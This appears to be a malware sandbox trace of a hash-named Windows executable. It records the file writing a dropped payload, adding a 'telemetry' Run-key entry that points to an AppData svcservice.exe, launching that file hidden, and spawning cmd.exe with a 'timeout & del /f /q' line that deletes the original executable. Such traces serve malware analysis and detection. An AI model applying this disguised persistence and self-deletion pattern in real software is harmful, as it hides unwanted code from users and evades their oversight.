[0116.615] GetLastError () returned 0x0
[0116.615] SetLastError (dwErrCode=0x0)
[0116.615] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0116.615] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0116.643] GetLastError () returned 0x0
[0116.643] SetLastError (dwErrCode=0x0)
[0116.643] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0116.643] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0116.712] GetLastError () returned 0x0
[0116.712] SetLastError (dwErrCode=0x0)
[0116.712] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0116.713] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0116.799] GetLastError () returned 0x0
[0116.799] SetLastError (dwErrCode=0x0)
[0116.799] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0116.800] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0116.825] GetLastError () returned 0x0
[0116.825] SetLastError (dwErrCode=0x0)
[0116.825] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0116.825] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0116.850] GetLastError () returned 0x0
[0116.850] SetLastError (dwErrCode=0x0)
[0116.851] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0116.851] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0116.876] GetLastError () returned 0x0
[0116.876] SetLastError (dwErrCode=0x0)
[0116.876] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0116.877] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0116.902] GetLastError () returned 0x0
[0116.903] SetLastError (dwErrCode=0x0)
[0116.903] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0116.903] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0116.928] GetLastError () returned 0x0
[0116.928] SetLastError (dwErrCode=0x0)
[0116.928] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0116.928] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0116.995] GetLastError () returned 0x0
[0116.996] SetLastError (dwErrCode=0x0)
[0116.996] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0116.996] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0117.063] GetLastError () returned 0x0
[0117.063] SetLastError (dwErrCode=0x0)
[0117.063] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0117.063] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0117.088] GetLastError () returned 0x0
[0117.089] SetLastError (dwErrCode=0x0)
[0117.089] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0117.089] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0117.203] GetLastError () returned 0x0
[0117.210] SetLastError (dwErrCode=0x0)
[0117.218] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0117.218] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0117.243] GetLastError () returned 0x0
[0117.244] SetLastError (dwErrCode=0x0)
[0117.244] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0117.244] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0117.269] GetLastError () returned 0x0
[0117.270] SetLastError (dwErrCode=0x0)
[0117.270] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0117.270] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0117.298] GetLastError () returned 0x0
[0117.298] SetLastError (dwErrCode=0x0)
[0117.298] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0117.298] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0117.331] GetLastError () returned 0x0
[0117.331] SetLastError (dwErrCode=0x0)
[0117.332] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0117.332] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0117.357] GetLastError () returned 0x0
[0117.357] SetLastError (dwErrCode=0x0)
[0117.361] HeapFree (in: hHeap=0xfe0000, dwFlags=0x0, lpMem=0x2e96020 | out: hHeap=0xfe0000) returned 1
[0117.367] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0xefe0e0, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe0e0*=0x800, lpOverlapped=0x0) returned 1
[0117.367] GetLastError () returned 0x0
[0117.367] SetLastError (dwErrCode=0x0)
[0117.368] HeapFree (in: hHeap=0xfe0000, dwFlags=0x0, lpMem=0x10009c0 | out: hHeap=0xfe0000) returned 1
[0117.368] CloseHandle (hObject=0x1a0) returned 1
[0117.864] HeapFree (in: hHeap=0xfe0000, dwFlags=0x0, lpMem=0xfff9b8 | out: hHeap=0xfe0000) returned 1
[0117.864] CloseHandle (hObject=0x19c) returned 1
[0117.865] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0xf003f, phkResult=0xefe330 | out: phkResult=0xefe330*=0x19c) returned 0x0
[0117.867] RegSetValueExA (in: hKey=0x19c, lpValueName="telemetry", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\telemetry\\svcservice.exe", cbData=0x3e | out: lpData="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\telemetry\\svcservice.exe") returned 0x0
[0117.911] RegCloseKey (hKey=0x19c) returned 0x0
[0117.911] HeapFree (in: hHeap=0xfe0000, dwFlags=0x0, lpMem=0xfff938 | out: hHeap=0xfe0000) returned 1
[0117.911] HeapFree (in: hHeap=0xfe0000, dwFlags=0x0, lpMem=0xfff838 | out: hHeap=0xfe0000) returned 1
[0117.911] HeapFree (in: hHeap=0xfe0000, dwFlags=0x0, lpMem=0xfff948 | out: hHeap=0xfe0000) returned 1
[0117.911] HeapFree (in: hHeap=0xfe0000, dwFlags=0x0, lpMem=0xff2fd8 | out: hHeap=0xfe0000) returned 1
[0117.911] ShellExecuteA (hwnd=0x0, lpOperation="open", lpFile="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\telemetry\\svcservice.exe", lpParameters="", lpDirectory=0x0, nShowCmd=0) returned 0x2a
[0117.920] GetCurrentProcess () returned 0xffffffff
[0117.931] GetCurrentProcess () returned 0xffffffff
[0117.936] GetCurrentProcess () returned 0xffffffff
[0117.937] GetCurrentProcess () returned 0xffffffff
[0117.940] GetCurrentProcess () returned 0xffffffff
[0117.941] GetCurrentProcess () returned 0xffffffff
[0117.944] GetCurrentProcess () returned 0xffffffff
[0117.945] GetCurrentProcess () returned 0xffffffff
[0117.948] GetCurrentProcess () returned 0xffffffff
[0117.948] GetCurrentProcess () returned 0xffffffff
[0117.950] GetCurrentProcess () returned 0xffffffff
[0117.951] GetCurrentProcess () returned 0xffffffff
[0117.957] GetCurrentProcess () returned 0xffffffff
[0117.958] GetCurrentProcess () returned 0xffffffff
[0117.959] GetCurrentProcess () returned 0xffffffff
[0117.960] GetCurrentProcess () returned 0xffffffff
[0117.963] GetCurrentProcess () returned 0xffffffff
[0117.979] GetCurrentProcess () returned 0xffffffff
[0117.980] GetCurrentProcess () returned 0xffffffff
[0117.981] GetCurrentProcess () returned 0xffffffff
[0117.982] GetCurrentProcess () returned 0xffffffff
[0117.983] GetCurrentProcess () returned 0xffffffff
[0117.984] GetCurrentProcess () returned 0xffffffff
[0117.985] GetCurrentProcess () returned 0xffffffff
[0117.990] GetCurrentProcess () returned 0xffffffff
[0117.991] GetCurrentProcess () returned 0xffffffff
[0117.992] GetCurrentProcess () returned 0xffffffff
[0117.993] GetCurrentProcess () returned 0xffffffff
[0117.993] GetCurrentProcess () returned 0xffffffff
[0117.995] GetCurrentProcess () returned 0xffffffff
[0117.999] GetCurrentProcess () returned 0xffffffff
[0118.000] GetCurrentProcess () returned 0xffffffff
[0118.001] GetCurrentProcess () returned 0xffffffff
[0118.002] GetCurrentProcess () returned 0xffffffff
[0118.004] GetCurrentProcess () returned 0xffffffff
[0118.005] GetCurrentProcess () returned 0xffffffff
[0118.005] GetCurrentProcess () returned 0xffffffff
[0118.006] GetCurrentProcess () returned 0xffffffff
[0118.007] GetCurrentProcess () returned 0xffffffff
[0118.008] GetCurrentProcess () returned 0xffffffff
[0118.010] GetCurrentProcess () returned 0xffffffff
[0118.011] GetCurrentProcess () returned 0xffffffff
[0118.013] GetCurrentProcess () returned 0xffffffff
[0118.014] GetCurrentProcess () returned 0xffffffff
[0118.016] GetCurrentProcess () returned 0xffffffff
[0118.016] GetCurrentProcess () returned 0xffffffff
[0118.018] GetCurrentProcess () returned 0xffffffff
[0121.145] GetCurrentProcess () returned 0xffffffff
[0121.147] GetCurrentProcess () returned 0xffffffff
[0121.147] GetCurrentProcess () returned 0xffffffff
[0121.154] GetCurrentProcess () returned 0xffffffff
[0121.155] GetCurrentProcess () returned 0xffffffff
[0121.157] GetCurrentProcess () returned 0xffffffff
[0121.157] GetCurrentProcess () returned 0xffffffff
[0121.159] GetCurrentProcess () returned 0xffffffff
[0121.160] GetCurrentProcess () returned 0xffffffff
[0121.162] GetCurrentProcess () returned 0xffffffff
[0121.163] GetCurrentProcess () returned 0xffffffff
[0121.164] GetCurrentProcess () returned 0xffffffff
[0121.165] GetCurrentProcess () returned 0xffffffff
[0121.176] GetCurrentProcess () returned 0xffffffff
[0121.176] GetCurrentProcess () returned 0xffffffff
[0121.178] GetCurrentProcess () returned 0xffffffff
[0121.178] GetCurrentProcess () returned 0xffffffff
[0121.184] GetCurrentProcess () returned 0xffffffff
[0121.185] GetCurrentProcess () returned 0xffffffff
[0121.186] GetCurrentProcess () returned 0xffffffff
[0121.187] GetCurrentProcess () returned 0xffffffff
[0121.188] GetCurrentProcess () returned 0xffffffff
[0121.191] GetCurrentProcess () returned 0xffffffff
[0121.192] GetCurrentProcess () returned 0xffffffff
[0121.192] GetCurrentProcess () returned 0xffffffff
[0121.193] GetCurrentProcess () returned 0xffffffff
[0121.200] GetCurrentProcess () returned 0xffffffff
[0121.201] GetCurrentProcess () returned 0xffffffff
[0121.224] GetCurrentProcess () returned 0xffffffff
[0121.225] GetCurrentProcess () returned 0xffffffff
[0121.230] GetCurrentProcess () returned 0xffffffff
[0121.231] GetCurrentProcess () returned 0xffffffff
[0121.241] GetCurrentProcess () returned 0xffffffff
[0121.242] GetCurrentProcess () returned 0xffffffff
[0121.243] GetCurrentProcess () returned 0xffffffff
[0121.244] GetCurrentProcess () returned 0xffffffff
[0121.313] GetCurrentProcess () returned 0xffffffff
[0121.314] GetCurrentProcess () returned 0xffffffff
[0121.316] GetCurrentProcess () returned 0xffffffff
[0121.317] GetCurrentProcess () returned 0xffffffff
[0121.337] GetCurrentProcess () returned 0xffffffff
[0121.338] GetCurrentProcess () returned 0xffffffff
[0121.404] GetCurrentProcess () returned 0xffffffff
[0121.405] GetCurrentProcess () returned 0xffffffff
[0121.484] GetCurrentProcess () returned 0xffffffff
[0121.485] GetCurrentProcess () returned 0xffffffff
[0121.487] GetCurrentProcess () returned 0xffffffff
[0121.488] GetCurrentProcess () returned 0xffffffff
[0121.495] GetCurrentProcess () returned 0xffffffff
[0121.496] GetCurrentProcess () returned 0xffffffff
[0121.497] GetCurrentProcess () returned 0xffffffff
[0121.498] GetCurrentProcess () returned 0xffffffff
[0121.508] GetCurrentProcess () returned 0xffffffff
[0121.509] GetCurrentProcess () returned 0xffffffff
[0121.568] GetCurrentProcess () returned 0xffffffff
[0121.569] GetCurrentProcess () returned 0xffffffff
[0121.572] GetCurrentProcess () returned 0xffffffff
[0121.573] GetCurrentProcess () returned 0xffffffff
[0121.575] GetCurrentProcess () returned 0xffffffff
[0121.576] GetCurrentProcess () returned 0xffffffff
[0121.577] GetCurrentProcess () returned 0xffffffff
[0121.578] GetCurrentProcess () returned 0xffffffff
[0121.578] GetCurrentProcess () returned 0xffffffff
[0121.579] GetCurrentProcess () returned 0xffffffff
[0121.582] GetCurrentProcess () returned 0xffffffff
[0121.583] GetCurrentProcess () returned 0xffffffff
[0121.584] GetCurrentProcess () returned 0xffffffff
[0121.585] GetCurrentProcess () returned 0xffffffff
[0121.588] GetCurrentProcess () returned 0xffffffff
[0121.589] GetCurrentProcess () returned 0xffffffff
[0121.589] GetCurrentProcess () returned 0xffffffff
[0121.590] GetCurrentProcess () returned 0xffffffff
[0121.592] GetCurrentProcess () returned 0xffffffff
[0121.593] GetCurrentProcess () returned 0xffffffff
[0121.616] GetCurrentProcess () returned 0xffffffff
[0121.617] GetCurrentProcess () returned 0xffffffff
[0121.627] GetCurrentProcess () returned 0xffffffff
[0121.628] GetCurrentProcess () returned 0xffffffff
[0121.631] GetCurrentProcess () returned 0xffffffff
[0121.632] GetCurrentProcess () returned 0xffffffff
[0121.633] GetCurrentProcess () returned 0xffffffff
[0121.634] GetCurrentProcess () returned 0xffffffff
[0121.635] GetCurrentProcess () returned 0xffffffff
[0121.636] GetCurrentProcess () returned 0xffffffff
[0121.640] GetCurrentProcess () returned 0xffffffff
[0121.641] GetCurrentProcess () returned 0xffffffff
[0121.643] GetCurrentProcess () returned 0xffffffff
[0121.643] GetCurrentProcess () returned 0xffffffff
[0122.380] GetCurrentProcess () returned 0xffffffff
[0122.381] GetCurrentProcess () returned 0xffffffff
[0122.391] GetCurrentProcess () returned 0xffffffff
[0122.392] GetCurrentProcess () returned 0xffffffff
[0122.428] GetCurrentProcess () returned 0xffffffff
[0122.429] GetCurrentProcess () returned 0xffffffff
[0122.433] GetCurrentProcess () returned 0xffffffff
[0122.434] GetCurrentProcess () returned 0xffffffff
[0122.437] HeapFree (in: hHeap=0xfe0000, dwFlags=0x0, lpMem=0xffd2f8 | out: hHeap=0xfe0000) returned 1
[0122.437] GetModuleHandleW (lpModuleName=0x0) returned 0x90000
[0122.437] GetModuleHandleW (lpModuleName=0x0) returned 0x90000
[0122.437] HeapFree (in: hHeap=0xfe0000, dwFlags=0x0, lpMem=0xffd1a8 | out: hHeap=0xfe0000) returned 1
[0122.438] HeapFree (in: hHeap=0xfe0000, dwFlags=0x0, lpMem=0xff25b8 | out: hHeap=0xfe0000) returned 1
[0122.438] HeapFree (in: hHeap=0xfe0000, dwFlags=0x0, lpMem=0xffcf08 | out: hHeap=0xfe0000) returned 1
[0122.438] HeapFree (in: hHeap=0xfe0000, dwFlags=0x0, lpMem=0xfeae00 | out: hHeap=0xfe0000) returned 1
[0122.438] HeapFree (in: hHeap=0xfe0000, dwFlags=0x0, lpMem=0xfe6c58 | out: hHeap=0xfe0000) returned 1
[0122.438] HeapFree (in: hHeap=0xfe0000, dwFlags=0x0, lpMem=0xfeef58 | out: hHeap=0xfe0000) returned 1
[0122.438] HeapFree (in: hHeap=0xfe0000, dwFlags=0x0, lpMem=0xfff958 | out: hHeap=0xfe0000) returned 1
[0122.438] HeapFree (in: hHeap=0xfe0000, dwFlags=0x0, lpMem=0xfff808 | out: hHeap=0xfe0000) returned 1
[0122.439] HeapFree (in: hHeap=0xfe0000, dwFlags=0x0, lpMem=0xfff5a8 | out: hHeap=0xfe0000) returned 1
[0122.439] HeapFree (in: hHeap=0xfe0000, dwFlags=0x0, lpMem=0xffc598 | out: hHeap=0xfe0000) returned 1
[0122.439] HeapFree (in: hHeap=0xfe0000, dwFlags=0x0, lpMem=0xfeefb0 | out: hHeap=0xfe0000) returned 1
[0122.439] HeapFree (in: hHeap=0xfe0000, dwFlags=0x0, lpMem=0xfe5d00 | out: hHeap=0xfe0000) returned 1
[0122.439] HeapFree (in: hHeap=0xfe0000, dwFlags=0x0, lpMem=0xffe2e0 | out: hHeap=0xfe0000) returned 1
[0122.439] HeapFree (in: hHeap=0xfe0000, dwFlags=0x0, lpMem=0xff0000 | out: hHeap=0xfe0000) returned 1
[0122.440] HeapFree (in: hHeap=0xfe0000, dwFlags=0x0, lpMem=0xff53a8 | out: hHeap=0xfe0000) returned 1
[0122.440] HeapFree (in: hHeap=0xfe0000, dwFlags=0x0, lpMem=0xff53e8 | out: hHeap=0xfe0000) returned 1
[0122.440] HeapFree (in: hHeap=0xfe0000, dwFlags=0x0, lpMem=0xffd558 | out: hHeap=0xfe0000) returned 1
[0122.440] LoadLibraryExW (lpLibFileName="api-ms-win-appmodel-runtime-l1-1-2", hFile=0x0, dwFlags=0x800) returned 0x748a0000
[0122.440] GetProcAddress (hModule=0x748a0000, lpProcName="AppPolicyGetProcessTerminationMethod") returned 0x0
[0122.440] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0xeff848 | out: phModule=0xeff848) returned 0
[0122.440] ExitProcess (uExitCode=0x0)
[0122.441] HeapFree (in: hHeap=0xf30000, dwFlags=0x0, lpMem=0xf305a8 | out: hHeap=0xf30000) returned 1
[0122.441] HeapFree (in: hHeap=0xfe0000, dwFlags=0x0, lpMem=0xfff988 | out: hHeap=0xfe0000) returned 1
[0122.441] HeapFree (in: hHeap=0xfe0000, dwFlags=0x0, lpMem=0xff2428 | out: hHeap=0xfe0000) returned 1
[0122.441] HeapFree (in: hHeap=0xfe0000, dwFlags=0x0, lpMem=0xff8f38 | out: hHeap=0xfe0000) returned 1
Thread:
id = 129
os_tid = 0x13a4
Thread:
id = 144
os_tid = 0x454
[0121.474] GetCurrentProcess () returned 0xffffffff
[0121.475] GetCurrentProcess () returned 0xffffffff
Thread:
id = 145
os_tid = 0xe00
Thread:
id = 146
os_tid = 0xe04
Thread:
id = 147
os_tid = 0xdfc
Thread:
id = 148
os_tid = 0xdb0
Process:
id = "7"
image_name = "cmd.exe"
filename = "c:\\windows\\syswow64\\cmd.exe"
page_root = "0x6489a000"
os_pid = "0x13e0"
os_integrity_level = "0x3000"
os_privileges = "0x60800000"
monitor_reason = "child_process"
parent_id = "1"
os_parent_pid = "0x12ec"
cmd_line = "\"C:\\Windows\\System32\\cmd.exe\" /c timeout /t 6 & del /f /q \"C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\" & exit"
cur_dir = "C:\\Users\\RDhJ0CNFevzX\\Desktop\\"
os_username = "XC64ZB\\RDhJ0CNFevzX"
bitness = "32"
os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f9b9" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]
Region:
id = 1209
start_va = 0x10000
end_va = 0x2ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000010000"
filename = ""
Region:
id = 1210
start_va = 0x30000
end_va = 0x44fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000030000"
filename = ""
Region:
id = 1211
start_va = 0x50000
end_va = 0x53fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000050000"
filename = ""
Region:
id = 1212
start_va = 0x60000
end_va = 0x61fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000060000"
filename = ""
Region:
id = 1213
start_va = 0x70000
end_va = 0xaffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000070000"
filename = ""
Region:
id = 1214
start_va = 0xb0000
end_va = 0x1affff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000000b0000"
filename = ""
Region:
id = 1215
start_va = 0x1b0000
end_va = 0x1b0fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000001b0000"
filename = ""
Region:
id = 1216
start_va = 0x1c0000
end_va = 0x1c1fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000001c0000"
filename = ""
Region:
id = 1217
start_va = 0x200000
end_va = 0x3fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000200000"
filename = ""
Region:
id = 1218
start_va = 0x930000
end_va = 0x981fff
monitored = 1
entry_point = 0x944fd0
region_type = mapped_file
name = "cmd.exe"
filename = "\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")
Region:
id = 1219
start_va = 0x990000
end_va = 0x498ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000990000"
filename = ""
Region:
id = 1220
start_va = 0x76ed0000
end_va = 0x7704afff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "ntdll.dll"
filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")
Region:
id = 1221
start_va = 0x7f1b0000
end_va = 0x7f1d2fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000007f1b0000"
filename = ""
Region:
id = 1222
start_va = 0x7ffe0000
end_va = 0x7ffeffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000007ffe0000"
filename = ""
Region:
id = 1223
start_va = 0x7fff0000
end_va = 0x7dfc71c9ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000007fff0000"
filename = ""
Region:
id = 1224
start_va = 0x7dfc71ca0000
end_va = 0x7ffc71c9ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00007dfc71ca0000"
filename = ""
Region:
id = 1225
start_va = 0x7ffc71ca0000
end_va = 0x7ffc71e60fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "ntdll.dll"
filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")
Region:
id = 1226
start_va = 0x7ffc71e61000
end_va = 0x7ffffffeffff
